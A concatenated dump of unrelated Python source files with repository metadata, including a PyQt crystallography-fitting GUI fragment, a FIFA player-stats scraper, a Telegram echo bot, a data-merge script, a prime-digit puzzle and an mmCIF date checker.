empty datasets empty_data_index = [] i=0 for each in self.model.data.items: if len(each.x_raw) == 0: empty_data_index.append(i) i += 1 for i in range(len(empty_data_index)): self.model.data.delete_item(empty_data_index[i]) for ii in range(len(empty_data_index)): if empty_data_index[ii]>empty_data_index[i]: empty_data_index[ii] = empty_data_index[ii]-1 else: pass self.model.data_original = copy.deepcopy(self.model.data) #update script_module #self.model.script_module.__dict__['data'] = self.data #update the view self.update_table_widget_data() self.update_combo_box_dataset() self.update_plot_dimension() self.update_plot_data_view() def delete_data(self): self.model.compiled = False # Delete the selected mytable lines row_index = [each.row() for each in self.tableWidget_data.selectionModel().selectedRows()] row_index = sorted(row_index, reverse=True) for each in row_index: self.model.data.delete_item(each) #self._deleteRows(self.tableWidget_data.selectionModel().selectedRows(), self.tableWidget_data) self.update_table_widget_data() self.update_combo_box_dataset() self.update_plot_dimension() self.update_plot_data_view() def update_table_widget_data(self): self.tableWidget_data.clear() self.tableWidget_data.setRowCount(len(self.model.data)) self.tableWidget_data.setColumnCount(5) self.tableWidget_data.setHorizontalHeaderLabels(['DataID','Show','Use','Errors','fmt']) # self.tableWidget_pars.horizontalHeader().setSectionResizeMode(QHeaderView.Stretch) for i in range(len(self.model.data)): current_data = self.model.data[i] name = current_data.name for j in range(5): if j == 0: qtablewidget = QTableWidgetItem(name) self.tableWidget_data.setItem(i,j,qtablewidget) elif j == 4: qtablewidget = QTableWidgetItem('sym:6yr;l:2g') self.tableWidget_data.setItem(i,j,qtablewidget) else: #note j=1 to j=3 corresponds to data.show, data.use, data.use_error check = getattr(current_data, ['show', 'use', 'use_error'][j-1]) check_box = QCheckBox() #self.show_checkBox_list.append(check_box) check_box.setChecked(check) check_box.stateChanged.connect(self.update_plot_data_view) self.tableWidget_data.setCellWidget(i,j,check_box) def update_combo_box_dataset(self): new_items = [each.name for each in self.model.data] self.comboBox_dataset.clear() self.comboBox_dataset.addItems(new_items) def update_data_view(self): dataset_name = self.comboBox_dataset.currentText() dataset = None for each in self.model.data_original: if each.name == dataset_name: dataset = each break else: pass column_labels_main = ['x','y','error','mask'] extra_labels = ['h', 'k', 'dL', 'LB'] all_labels = ['x','y','error','h','k','dL','LB','mask'] self.tableWidget_data_view.setRowCount(len(dataset.x)) self.tableWidget_data_view.setColumnCount(len(all_labels)) self.tableWidget_data_view.setHorizontalHeaderLabels(all_labels) for i in range(len(dataset.x)): for j in range(len(all_labels)): if all_labels[j] in column_labels_main: # print(getattr(dataset,'x')[i]) # qtablewidget = QTableWidgetItem(str(round(getattr(dataset,all_labels[j])[i],4))) item_ = getattr(dataset,all_labels[j])[i] if all_labels[j] == 'mask': qtablewidget = QTableWidgetItem(str(item_)) else: qtablewidget = QTableWidgetItem(str(round(item_,4))) elif all_labels[j] in extra_labels: qtablewidget = QTableWidgetItem(str(dataset.get_extra_data(all_labels[j])[i])) else: qtablewidget = QTableWidgetItem('True') self.tableWidget_data_view.setItem(i,j,qtablewidget) def update_mask_info_in_data(self): dataset_name = self.comboBox_dataset.currentText() dataset = None for each in self.model.data_original: if each.name == dataset_name: dataset = each break else: pass for i in range(len(dataset.x)): dataset.mask[i] = (self.tableWidget_data_view.item(i,7).text() == 'True') self.model.data = copy.deepcopy(self.model.data_original) [each.apply_mask() for each in self.model.data] self.simulate_model() def init_mask_info_in_data_upon_loading_model(self): self.model.data = copy.deepcopy(self.model.data_original) [each.apply_mask() for each in self.model.data] self.simulate_model() def init_structure_view(self): domain_tag = int(self.spinBox_domain.text()) size_domain = len(self.model.script_module.sample.domain) if size_domain<(1+domain_tag): domain_tag = size_domain -1 else: pass # print(domain_tag) xyz = self.model.script_module.sample.extract_xyz(domain_tag) self.widget_edp.show_structure(xyz) self.update_camera_position(widget_name = 'widget_edp', angle_type="azimuth", angle=0) self.update_camera_position(widget_name = 'widget_edp', angle_type = 'elevation', angle = 0) xyz,bond_index = self.model.script_module.sample.extract_xyz_top(domain_tag) self.widget_msv_top.show_structure(xyz,bond_index) self.update_camera_position(widget_name = 'widget_msv_top', angle_type="azimuth", angle=0) self.update_camera_position(widget_name = 'widget_msv_top', angle_type = 'elevation', angle = 90) def update_structure_view(self): try: domain_tag = int(self.spinBox_domain.text()) size_domain = len(self.model.script_module.sample.domain) if size_domain<(1+domain_tag): domain_tag = size_domain -1 else: pass # print(size_domain,domain_tag) xyz = self.model.script_module.sample.extract_xyz(domain_tag) self.widget_edp.update_structure(xyz) xyz, bond_index = self.model.script_module.sample.extract_xyz_top(domain_tag) self.widget_msv_top.update_structure(xyz, bond_index) except Exception as e: outp = StringIO() traceback.print_exc(200, outp) val = outp.getvalue() outp.close() _ = QMessageBox.question(self, "",'Runtime error message:\n{}'.format(str(val)), QMessageBox.Ok) def start_timer_structure_view(self): self.timer_update_structure.start(2000) def stop_timer_structure_view(self): self.timer_update_structure.stop() #save data plus best fit profile def save_data(self): #potential = input('The potential corresponding to this dataset is:') potential, done = QInputDialog.getDouble(self, 'Potential_info', 'Enter the potential for this dataset (in V):') if not done: potential = None path, _ = QFileDialog.getSaveFileName(self, "Save file", "", "model file (*.*)") if path!="": keys_attri = ['x','y','y_sim','error'] keys_extra = ['h','k'] lib_map = {'x': 'L', 'y':'I','y_sim':'I_model','error':'error','h':'H','k':'K'} export_data = {} for key in ['x','h','k','y','y_sim','error']: export_data[lib_map[key]] = [] export_data['use'] = [] export_data['I_bulk'] = [] export_data['potential'] = [] for each in self.model.data: if each.use: for key in ['x','h','k','y','y_sim','error']: if key in keys_attri: export_data[lib_map[key]] = np.append(export_data[lib_map[key]], getattr(each,key)) elif key in keys_extra: export_data[lib_map[key]] = np.append(export_data[lib_map[key]], each.extra_data[key]) export_data['use'] = np.append(export_data['use'],[True]*len(each.x)) else: for key in ['x','h','k','y','y_sim','error']: if key in keys_attri: if key=='y_sim': export_data[lib_map[key]] = np.append(export_data[lib_map[key]], [0]*len(getattr(each,'x'))) else: export_data[lib_map[key]] = np.append(export_data[lib_map[key]], getattr(each,key)) elif key in keys_extra: export_data[lib_map[key]] = np.append(export_data[lib_map[key]], each.extra_data[key]) export_data['use'] = np.append(export_data['use'],[False]*len(each.x)) export_data['potential'] = np.append(export_data['potential'],[float(potential)]*len(each.x)) beta = self.model.script_module.rgh.beta #rough = (1-beta)/((1-beta)**2 + 4*beta*np.sin(np.pi*(each.x-each.extra_data['LB'])/each.extra_data['dL'])**2)**0.5 rough = 1 export_data['I_bulk'] = np.append(export_data['I_bulk'],rough**2*np.array(self.model.script_module.sample.calc_f_ideal(each.extra_data['h'], each.extra_data['k'], each.x)**2)) df_export_data = pd.DataFrame(export_data) writer_temp = pd.ExcelWriter([path+'.xlsx',path][int(path.endswith('.xlsx'))]) df_export_data.to_excel(writer_temp, columns =['potential']+[lib_map[each_] for each_ in ['x','h','k','y','y_sim','error']]+['I_bulk','use']) writer_temp.save() #self.writer = pd.ExcelWriter([path+'.xlsx',path][int(path.endswith('.xlsx'))],engine = 'openpyxl',mode ='a') #not implemented! def change_plot_style(self): if self.background_color == 'w': self.widget_data.getViewBox().setBackgroundColor('k') self.widget_edp.getViewBox().setBackgroundColor('k') self.widget_msv_top.getViewBox().setBackgroundColor('k') self.background_color = 'k' else: self.widget_data.getViewBox().setBackgroundColor('w') self.widget_edp.getViewBox().setBackgroundColor('w') self.widget_msv_top.getViewBox().setBackgroundColor('w') self.background_color = 'w' def load_script(self): options = QFileDialog.Options() options |= QFileDialog.DontUseNativeDialog fileName, _ = QFileDialog.getOpenFileName(self,"QFileDialog.getOpenFileName()", "","script Files (*.py);;text Files (*.txt)", options=options) if fileName: with open(fileName,'r') as f: self.plainTextEdit_script.setPlainText(f.read()) self.model.script = (self.plainTextEdit_script.toPlainText()) #self.compile_script() def update_script_upon_load(self): self.plainTextEdit_script.setPlainText(self.model.script) def save_script(self): path, _ = QFileDialog.getSaveFileName(self, "Save script file", "", "script file (*.py)") with open(path,'w') as f: f.write(self.model.script) def modify_script(self): assert self.model.script!="","No script to work on, please load script first!" domain_num = int(self.lineEdit_domain_number.text().rstrip()) motif_chain = self.lineEdit_sorbate_motif.text().strip().rsplit(",") #print(self.lineEdit_sorbate_motif.text().strip().rsplit(",")) #print(self.lineEdit_sorbate_motif.text().strip().rsplit(",")) assert domain_num == len(motif_chain), "Number of domain not match with the motif number. Fix it first!!" lines = script_block_modifier(self.model.script.rsplit("\n"), 'slabnumber',["num_surface_slabs"],[domain_num]) els_sorbate = [] anchor_index_list = [] flat_down_index = [] xyzu_oc_m = [] structure = [] for each in motif_chain: each = each.strip() properties_temp = getattr(sorbate_tool,each) for each_key in properties_temp: if each_key == "els_sorbate": els_sorbate.append(properties_temp[each_key]) elif each_key == "anchor_index_list": anchor_index_list.append(properties_temp[each_key]) elif each_key == "flat_down_index": flat_down_index.append(properties_temp[each_key]) elif each_key == "structure": structure.append("#"+each+properties_temp[each_key]) xyzu_oc_m = [[0.5, 0.5, 1.5, 0.1, 1, 1]]*len(els_sorbate) tag_list = ['els_sorbate', 'anchor_index_list', 'flat_down_index', 'xyzu_oc_m'] tag_value_list = [els_sorbate, anchor_index_list, flat_down_index, xyzu_oc_m] lines = script_block_modifier(lines, 'sorbateproperties',tag_list, tag_value_list) left_, right_ = locate_tag(lines,'sorbatestructure') del(lines[left_:right_]) if structure[-1][-1] == "\n": structure[-1] = structure[-1][0:-1] lines.insert(left_,"\n".join(structure)) self.model.script = '\n'.join(lines) self.plainTextEdit_script.setPlainText(self.model.script) def remove_selected_rows(self): # Delete the selected mytable lines self._deleteRows(self.tableWidget_pars.selectionModel().selectedRows(), self.tableWidget_pars) self.update_model_parameter() # DeleteRows function def _deleteRows(self, rows, table): # Get all row index indexes = [] for row in rows: indexes.append(row.row()) # Reverse sort rows indexes indexes = sorted(indexes, reverse=True) # Delete rows for rowidx in indexes: table.removeRow(rowidx) def append_one_row(self): rows = self.tableWidget_pars.selectionModel().selectedRows() if len(rows) == 0: row_index = self.tableWidget_pars.rowCount() else: row_index = rows[-1].row() self.tableWidget_pars.insertRow(row_index) for i in range(6): if i==2: check_box = QCheckBox() check_box.setChecked(False) self.tableWidget_pars.setCellWidget(row_index,2,check_box) else: qtablewidget = QTableWidgetItem('') if i == 0: qtablewidget.setFont(QFont('Times',10,QFont.Bold)) elif i == 1: qtablewidget.setForeground(QBrush(QColor(255,0,255))) self.tableWidget_pars.setItem(row_index,i,qtablewidget) self.update_model_parameter() def update_model_parameter(self): self.model.parameters.data = [] vertical_label = [] label_tag=1 for i in range(self.tableWidget_pars.rowCount()): if self.tableWidget_pars.item(i,0)==None: items = ['',0,False,0,0,'-'] vertical_label.append('') elif self.tableWidget_pars.item(i,0).text()=='': items = ['',0,False,0,0,'-'] vertical_label.append('') else: items = [self.tableWidget_pars.item(i,0).text(),float(self.tableWidget_pars.item(i,1).text()),self.tableWidget_pars.cellWidget(i,2).isChecked(),\ float(self.tableWidget_pars.item(i,3).text()), float(self.tableWidget_pars.item(i,4).text()), self.tableWidget_pars.item(i,5).text()] self.model.parameters.data.append(items) vertical_label.append(str(label_tag)) label_tag += 1 self.tableWidget_pars.setVerticalHeaderLabels(vertical_label) def update_par_upon_load(self): vertical_labels = [] lines = self.model.parameters.data how_many_pars = len(lines) self.tableWidget_pars.clear() self.tableWidget_pars.setRowCount(how_many_pars) self.tableWidget_pars.setColumnCount(6) self.tableWidget_pars.setHorizontalHeaderLabels(['Parameter','Value','Fit','Min','Max','Error']) # self.tableWidget_pars.horizontalHeader().setSectionResizeMode(QHeaderView.Stretch) for i in range(len(lines)): # print("test{}".format(i)) items = lines[i] #items = line.rstrip().rsplit('\t') j = 0 if items[0] == '': #self.model.parameters.data.append([items[0],0,False,0, 0,'-']) vertical_labels.append('') j += 1 else: #add items to parameter attr #self.model.parameters.data.append([items[0],float(items[1]),items[2]=='True',float(items[3]), float(items[4]),items[5]]) #add items to table view if len(vertical_labels)==0: vertical_labels.append('1') else: if vertical_labels[-1] != '': vertical_labels.append('{}'.format(int(vertical_labels[-1])+1)) else: vertical_labels.append('{}'.format(int(vertical_labels[-2])+1)) for item in items: if j == 2: check_box = QCheckBox() check_box.setChecked(item==True) self.tableWidget_pars.setCellWidget(i,2,check_box) else: if j == 1: qtablewidget = QTableWidgetItem(str(round(item,5))) else: qtablewidget = QTableWidgetItem(str(item)) # qtablewidget.setTextAlignment(Qt.AlignCenter) if j == 0: qtablewidget.setFont(QFont('Times',10,QFont.Bold)) elif j == 1: qtablewidget.setForeground(QBrush(QColor(255,0,255))) self.tableWidget_pars.setItem(i,j,qtablewidget) j += 1 self.tableWidget_pars.resizeColumnsToContents() self.tableWidget_pars.resizeRowsToContents() self.tableWidget_pars.setShowGrid(False) self.tableWidget_pars.setVerticalHeaderLabels(vertical_labels) def load_par(self): options = QFileDialog.Options() options |= QFileDialog.DontUseNativeDialog fileName, _ = QFileDialog.getOpenFileName(self,"QFileDialog.getOpenFileName()", "","Table Files (*.tab);;text Files (*.txt)", options=options) vertical_labels = [] if fileName: with open(fileName,'r') as f: lines = f.readlines() # self.parameters.set_ascii_input(f) lines = [each for each in lines if not each.startswith('#')] how_many_pars = len(lines) self.tableWidget_pars.setRowCount(how_many_pars) self.tableWidget_pars.setColumnCount(6) self.tableWidget_pars.setHorizontalHeaderLabels(['Parameter','Value','Fit','Min','Max','Error']) # self.tableWidget_pars.horizontalHeader().setSectionResizeMode(QHeaderView.Stretch) for i in range(len(lines)): line = lines[i] items = line.rstrip().rsplit('\t') j = 0 if items[0] == '': self.model.parameters.data.append([items[0],0,False,0, 0,'-']) vertical_labels.append('') j += 1 else: #add items to parameter attr self.model.parameters.data.append([items[0],float(items[1]),items[2]=='True',float(items[3]), float(items[4]),items[5]]) #add items to table view if len(vertical_labels)==0: vertical_labels.append('1') else: if vertical_labels[-1] != '': vertical_labels.append('{}'.format(int(vertical_labels[-1])+1)) else: vertical_labels.append('{}'.format(int(vertical_labels[-2])+1)) for item in items: if j == 2: check_box = QCheckBox() check_box.setChecked(item=='True') self.tableWidget_pars.setCellWidget(i,2,check_box) else: qtablewidget = QTableWidgetItem(item) # qtablewidget.setTextAlignment(Qt.AlignCenter) if j == 0: qtablewidget.setFont(QFont('Times',10,QFont.Bold)) elif j == 1: qtablewidget.setForeground(QBrush(QColor(255,0,255))) self.tableWidget_pars.setItem(i,j,qtablewidget) j += 1 self.tableWidget_pars.resizeColumnsToContents() self.tableWidget_pars.resizeRowsToContents() self.tableWidget_pars.setShowGrid(False) self.tableWidget_pars.setVerticalHeaderLabels(vertical_labels) @QtCore.pyqtSlot(str,object) def update_par_during_fit(self,string,model): #labels = [data[0] for each in self.model.parameters.data] for i in range(len(model.parameters.data)): if model.parameters.data[i][0]!='': # print(self.model.parameters.data[i][0]) #print(len(self.model.parameters.data)) # print(model.parameters.data[i][0]) item_temp = self.tableWidget_pars.item(i,1) #print(type(item_temp)) item_temp.setText(str(model.parameters.data[i][1])) self.tableWidget_pars.resizeColumnsToContents() self.tableWidget_pars.resizeRowsToContents() self.tableWidget_pars.setShowGrid(False) # self.update_structure_view() def update_par_upon_change(self): #print("before update:{}".format(len(self.model.parameters.data))) self.model.parameters.data = [] for each_row in range(self.tableWidget_pars.rowCount()): if self.tableWidget_pars.item(each_row,0)==None: items = ['',0,False,0,0,'-'] elif self.tableWidget_pars.item(each_row,0).text()=='': items = ['',0,False,0,0,'-'] else: # print(each_row,type(self.tableWidget_pars.item(each_row,0))) items = [self.tableWidget_pars.item(each_row,0).text()] + [float(self.tableWidget_pars.item(each_row,i).text()) for i in [1,3,4]] + [self.tableWidget_pars.item(each_row,5).text()] items.insert(2, self.tableWidget_pars.cellWidget(each_row,2).isChecked()) self.model.parameters.data.append(items) #print("after update:{}".format(len(self.model.parameters.data))) @QtCore.pyqtSlot(str,object) def update_status(self,string,model): self.statusbar.clearMessage() self.statusbar.showMessage(string) self.label_2.setText('FOM {}:{}'.format(self.model.fom_func.__name__,self.run_fit.solver.optimizer.best_fom)) def save_par(self): path, _ = QFileDialog.getSaveFileName(self, "Save tab file", "", "table file (*.*)") with open(path,'w') as f: f.write(self.model.parameters.get_ascii_output()) if __name__ == "__main__": QApplication.setStyle("windows") app = QApplication(sys.argv) myWin = MyMainWindow() myWin.setWindowIcon(QtGui.QIcon('DAFY.png')) hightlight = syntax_pars.PythonHighlighter(myWin.plainTextEdit_script.document()) myWin.plainTextEdit_script.show() myWin.plainTextEdit_script.setPlainText(myWin.plainTextEdit_script.toPlainText()) app.setStyleSheet(qdarkstyle.load_stylesheet_pyqt5()) myWin.show() sys.exit(app.exec_())

UTF-8

Python

false

55,146

py

126

superrod_GUI_pyqtgraph.py

65

0.583633

0.576379

0

1,097

49.269827

224

thomastrg/Price_prediction_footballers

9,234,179,709,423

8d84ce7dea64c3795347950a98cd0d89177937ae

56842faabc8275101568ec1894e5e759d48a1c57

/Scrapping/Scrapping_fifaindex_function.py

5261d6c161481bc82af686489423030b1c381b81

[ "MIT" ]

permissive

https://github.com/thomastrg/Price_prediction_footballers

125f7f12abec4fe9c127238f479abdc7e48a250c

00fe5677f470d0a1a1f15e118a07df049a9a247d

refs/heads/main

2023-04-28T15:44:59.135279

2021-05-15T15:06:10

367,439,041

2

1

null

# -*- coding: utf-8 -*- from bs4 import BeautifulSoup import requests import re import pandas as pd def scrapp_fifa_index(page_start=1, page_end=2): assert page_start >= 1 assert page_end >= page_start all_data = [] url_base ="https://www.fifaindex.com" #Wanted description informations wanted = ['Age','Valeur','Salaire'] url = f'https://www.fifaindex.com/fr/players/fifa19/?page={page_start}' while(page_start <= page_end and requests.get(url).status_code == 200): main_page = requests.get(url).content main_page_html = BeautifulSoup(main_page, 'html.parser') players_soup = main_page_html.find_all('a', class_='link-player') players = {player['href'] for player in players_soup} for player in players: data_dict = {} page_html = requests.get(url_base+player).content #go to player's page and retrieve content soup = BeautifulSoup(page_html,'html.parser') #Get the player's name result = soup.find('div', class_='card mb-5').find('h5', class_='card-header').get_text() player_name = re.split(r'(\d+)', result)[0] data_dict['Name'] = player_name # Get the player's description result = soup.find('div', class_='card-body') description = result.get_text() description_data = re.split(r'\n+', description) for elm in description_data: if any(word in elm for word in wanted): temp = re.split(r'([\d\.]+)', elm) temp[1] = temp[1].replace('.','') temp[0] = re.sub(r'\s+$','', temp[0]).replace(r'\s+',' ') temp[0] = re.sub(r'\s+',' ', temp[0]) data_dict[temp[0]] = int(temp[1]) # Get player's stats result = soup.find_all('div', class_='col-12 col-md-4 item') first_text = [elm.get_text() for elm in result] data = [re.split(r'\n+', sub_text) for sub_text in first_text] for sub_data in data: for attribute in sub_data : if bool(re.search(r'\d', attribute)): temp = re.split(r' (\d+)', attribute) data_dict[temp[0]] = int(re.search('(\d+)$', attribute).group(1)) # Add player data to our main list all_data.append(data_dict) # Go to the next page page_start += 1 url = f'https://www.fifaindex.com/fr/players/fifa19/?page={page_start}' #RETURN THE FINAL LIST return all_data if __name__ =="__main__": data = scrapp_fifa_index(1, 10) columns_names = ['Name', 'Age', 'Value €', 'Value $', 'Value £', 'Wage €', 'Wage $', 'Wage £', 'Ball Control', 'Dribbling', 'Marking', 'Slide Tackle', 'Stand Tackle', 'Aggression', 'Reactions', 'Att. Position', 'Interceptions', 'Vision', 'Composure', 'Crossing', 'Short Pass', 'Long pass', 'Acceleration', 'Stamina', 'Strength', 'Balance', 'Sprint Speed', 'Agility', 'Jumping', 'Heading', 'Shot Power', 'Finishing', 'Long Shots', 'Curve', 'FK Acc.', 'Penalties', 'Volleys', 'GK Positioning', 'GK Diving', 'GK Handling', 'GK Kicking', 'GK Reflexes'] df = pd.DataFrame(data) df.columns = columns_names df.to_csv('fifaindex_21.csv', index=False)

UTF-8

Python

false

3,554

py

10

Scrapping_fifaindex_function.py

2

0.52593

0.516347

0

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103

Tocknicsu/bot

19,550,691,150,709

83963237600cab1446c04579899fb07113c2ad95

998a9fa97dfb9512d2b2debd4cdd8ce02ccc0ab7

/telegram_bot/server.py

c40c249abf9e882499885dd1834ecc78d72c8a84

[]

no_license

https://github.com/Tocknicsu/bot

c65c59c02279dd3345b03948a26fd7ed49016e99

09e0d3220de83f501b565b34fc91745b2ecb13af

refs/heads/master

2021-01-17T16:56:32.357497

2016-07-27T05:45:15

64,179,588

1

0

null

#!/usr/bin/env python3 import telepot import config bot = telepot.Bot(config.key) print(bot.getMe()) def handle(msg): content_type, chat_type, chat_id = telepot.glance(msg) print(content_type, chat_type, chat_id) if content_type == 'text': print(msg['text']) bot.sendMessage(chat_id, msg['text']) bot.message_loop(handle) while True: x = input() print("User Input: ", x)

UTF-8

Python

false

412

py

10

server.py

3

0.643204

0.640777

0

20

19.6

58

DongliangLu1995/Summer_Research-CBS

1,176,821,081,155

ee04d9e963ea027bf034e80fd3e7c7d2ab73f316

c810c8c09e244a5810223bad95c55e0ad535cdbd

/merge_similarity_citation.py

74c00b4fa0cd272055ce52e6148b1d644b4acb16

[]

no_license

https://github.com/DongliangLu1995/Summer_Research-CBS

f98bca71d21981d252e07fd1cd4a9487ad858983

050116e542dc8b3738be2a07fdcf728e99b13cdd

refs/heads/master

2020-03-29T00:50:05.393332

2019-03-29T19:06:04

149,358,414

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# -*- coding: utf-8 -*- """ Created on Mon Jul 16 15:14:55 2018 @author: DongliangLu """ #merge similarity citation import pandas as pd import numpy as np import pickle similarity_save_basic_add=r"C:\Users\DongliangLu\Desktop\Columbia\research\CBS\lobby\data_cleaned\comments_similarity\One" old_data_save_basic_add = r"C:\Users\DongliangLu\Desktop\Columbia\research\CBS\lobby\data_cleaned" old_data_save_add = old_data_save_basic_add + "\\SEC_regression.csv" citation_df=pd.read_csv(old_data_save_add, index_col=0) final_rule_good = [0,2,5,6,7,8,9,10,12,16,30,31,32,33,35,36] #rule_type_i=0 inf_need_list = ['rule type','identify org','comment len','set similarity', 'count similarity', 'tfidf similarity', 'pca set similarity', 'pca count similarity', 'pca tfidf similarity', 'count distance', 'set distance', 'tfidf distance', 'pca count distance', 'pca set distance', 'pca tfidf distance'] new_df=pd.DataFrame() for rule_type_i in final_rule_good: similarity_save_add = similarity_save_basic_add +"\\similarity_"+"One"+"_" + str(rule_type_i) +".pickle" with open(similarity_save_add,"rb") as f: tem=pickle.load(f, encoding='latin1') comments_inf = tem comments_inf_needed = comments_inf[inf_need_list] comments_inf_needed = comments_inf_needed[ comments_inf_needed['identify org'] != "Individual" ] total_comment_len = comments_inf_needed.groupby(['identify org'])['comment len'].sum() comment_similarity = comments_inf_needed.groupby(['identify org'])[['tfidf similarity','set similarity','count similarity','pca set similarity', 'pca count similarity', 'pca tfidf similarity',]].mean() comment_distance = comments_inf_needed.groupby(['identify org'])[['tfidf distance','set distance','count distance', 'pca count distance', 'pca set distance', 'pca tfidf distance']].mean() merge_1=pd.concat([total_comment_len,comment_similarity,comment_distance], axis=1) merge_1["organization"] = merge_1.index merge_1['rule type'] = rule_type_i merge_1.reset_index(inplace=True) new_df = new_df.append(merge_1) new_df = new_df[['organization','tfidf similarity','set similarity','count similarity', 'pca set similarity', 'pca count similarity', 'pca tfidf similarity', 'count distance', 'set distance', 'tfidf distance', 'pca count distance', 'pca set distance', 'pca tfidf distance', "rule type"]] new_df = new_df.rename(columns={'rule type': 'rule type num'}) new_df['count similarity transformed'] = -np.log(1 - new_df['count similarity']**2) new_df['set similarity transformed'] = -np.log(1 - new_df['set similarity']**2) new_df['tfidf similarity transformed'] = -np.log(1 - new_df['tfidf similarity']**2) new_df['pca count similarity transformed'] = -np.log(1 - new_df['pca count similarity']**2) new_df['pca set similarity transformed'] = -np.log(1 - new_df['pca set similarity']**2) new_df['pca tfidf similarity transformed'] = -np.log(1 - new_df['pca tfidf similarity']**2) new_df.fillna(0) #has some problem on pca set similarity, and all pca transformed similarity data_reg=citation_df.merge(new_df, how="left", on=['organization', 'rule type num']) data_reg = data_reg.fillna(0) data_reg.to_csv(r"C:\Users\DongliangLu\Desktop\Columbia\research\CBS\lobby\data_cleaned"+"\\new_reg.csv")

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merge_similarity_citation.py

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RobyJacob/Coding-problems

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e6548c8c7143e1ab85b13f7061c6c4ea5c69d3eb

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/foobar_1.py

eb050061da187b0c28ad053a73ab15615eac2bcd

[]

no_license

https://github.com/RobyJacob/Coding-problems

485ff6cc88e90b7f672bb33ccccac19139fba4b8

418b2207025540f78a3e0c574eea5237b06a1579

refs/heads/master

2022-10-28T06:49:48.433806

2020-06-18T08:49:34

260,744,336

0

null

def inifinite_sequence(): num = 2 while True: yield num num += 1 def is_prime(num): import math count = 0 for n in range(1, int(math.sqrt(num))+1): if num % n == 0: count += 1 if count < 2: return True return False def solution(i): index = 0 id = "" for num in inifinite_sequence(): if is_prime(num): id += str(num) index += 1 if index > i+5: break return id[i:i+5] print(solution(3)) print(solution(0)) print(solution(5)) print(solution(10)) print(solution(50)) print(solution(100)) print(solution(300)) print(solution(500)) print(solution(1000)) print(solution(1500)) print(solution(10000))

UTF-8

Python

false

745

py

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foobar_1.py

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0.551678

0.496644

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bmrb-io/ligand-expo

8,443,905,741,359

4ab31475679356aa2c3e987efe2cfab6b567ec03

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/ligandexpo2bmrb/checker.py

66d1ab58096a8eecb0cdb465a1e87ea6b570eb4b

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refs/heads/master

2022-11-28T20:20:18.836020

2020-08-05T01:03:01

null

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null

#!/usr/bin/python -u # # -*- coding: utf-8 -*- # # Read modified date from mmCIF # from __future__ import absolute_import import sys import os import re import datetime #import traceback try : import sas except ImportError : sys.path.append( "/projects/BMRB/SAS/python" ) import sas # # # class UpdateChecker( sas.ContentHandler, sas.ErrorHandler ) : """Extract pdbx initial and modified dates, replaced by and subcomponent list. Either date will do (it's an error if both are missing). For subcomponent list and replaced by we only care if they exits: if they do, the chem comp is 'compound' or obsolete -- we don't want either.""" @classmethod def read_file( cls, filename, verbose = False ) : rc = None with open( os.path.realpath( filename ), "rU" ) as f : rc = cls.read( fp = f, verbose = verbose ) return rc @classmethod def read( cls, fp, verbose = False ) : chk = cls( verbose = verbose ) lex = sas.StarLexer( fp, bufsize = 0, verbose = verbose ) p = sas.CifParser.parse( lexer = lex, content_handler = chk, error_handler = chk, verbose = verbose ) return chk # # def __init__( self, verbose = False ) : self._verbose = bool( verbose ) self._re_date = re.compile( r"^(\d{4})-(\d{1,2})-(\d{1,2})$" ) # 2011-05-31 self._modified = None self._initial = None self._compound = False self._obsolete = False self._errs = False self._blockid = "" @property def verbose( self ) : """verbose flag""" return bool( self._verbose ) @verbose.setter def verbose( self, flag ) : self._verbose = bool( flag ) @property def has_errors( self ) : return self._errs @property def initial_date( self ) : return self._initial @property def modified_date( self ) : return self._modified @property def is_compound( self ) : return self._compound @property def is_obsolete( self ) : return self._obsolete @property def __data__( self ) : return { "id" : self._blockid, "created" : self._initial, "modified" : self._modified, "obsolete" : self._obsolete, "compound" : self._compound, "error" : self._errs } # SAS callbacks # def fatalError( self, line, msg ) : sys.stderr.write( "ERR: fatal parse error in line %d: %s\n" % (line, msg,) ) self._errs = True def error( self, line, msg ) : sys.stderr.write( "ERR: parse error in line %d: %s\n" % (line, msg,) ) self._errs = True return True # warnings are errors # def warning( self, line, msg ) : sys.stderr.write( "ERR: parse warning in line %d: %s\n" % (line, msg,) ) self._errs = True return True # # def comment( self, line, text ) : return False def startSaveFrame( self, line, name ) : return False def endSaveFrame( self, line, name ) : return False def endData( self, line, name ) : pass def startLoop( self, line ) : return False def endLoop( self, line ) : return False # # def startData( self, line, name ) : self._blockid = name return False # # def data( self, tag, tagline, val, valline, delim, inloop ) : if self._verbose : sys.stdout.write( "Data: %s - %s\n" % (tag,val,) ) if (val is None) or (str( val ).strip() in ("", ".", "?",)) : val = None if tag == "_chem_comp.pdbx_initial_date" : if self._verbose : sys.stdout.write( "initial date (raw): %s\n" % (val,) ) if val is None : self._initial = None return False m = self._re_date.search( val ) if not m : sys.stderr.write( "ERR: Invalid initial date: %s\n" % (val,) ) self._initial = None return False if (len( m.group( 2 ) ) < 2) or (len( m.group( 3 ) ) < 2) : sys.stderr.write( "WARN: bad initial date format: %s (%s)\n" % (val, self._blockid) ) self._initial = datetime.date( int( m.group( 1 ) ), int( m.group( 2 ) ), int( m.group( 3 ) ) ) if self._verbose : sys.stdout.write( "initial date (parsed): %s\n" % (self._initial,) ) return False if tag == "_chem_comp.pdbx_modified_date" : if val is None : self._modified = None return False m = self._re_date.search( val ) if not m : sys.stderr.write( "ERR: Invalid last-modified date: %s\n" % (val,) ) self._modified = None return False self._modified = datetime.date( int( m.group( 1 ) ), int( m.group( 2 ) ), int( m.group( 3 ) ) ) if self._verbose : sys.stdout.write( "modified date (parsed): %s\n" % (self._modified,) ) return False # don't care what it was repalced with, just that it's no longer current # if tag == "_chem_comp.pdbx_replaced_by" : if val is not None : self._obsolete = True return False if tag == "_chem_comp.pdbx_release_status" : if str( val ).strip().upper() in ("OBS","WDRN",) : self._obsolete = True return False # ditto for subcomponents # if tag == "_chem_comp.pdbx_subcomponent_list" : if val is not None : self._compound = True return False # done with metadata # could probably ingnore errors if it's obsolete or compound # if tag [:16] == "_chem_comp_atom." : if (self._initial is None) and (self._modified is None) : sys.stderr.write( "ERR: Chem comp %s has neither inital nor modified date\n" % (self._blockid,) ) self._errs = True return True return False return False # # # # # if __name__ == "__main__" : import pprint chk = UpdateChecker.read_file( sys.argv[1] ) pprint.pprint( chk.__data__ ) # eof #

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Rutvik-C/SE-Hackathon-20

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/Solveasy/Student/migrations/0001_initial.py

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[]

no_license

https://github.com/Rutvik-C/SE-Hackathon-20

3f4d0bca4c9273b5ea4ce32911aa7e2106b3429e

b661c69670469b7f3b2850ac57bccfdc59e16292

refs/heads/main

2023-01-29T08:18:29.078083

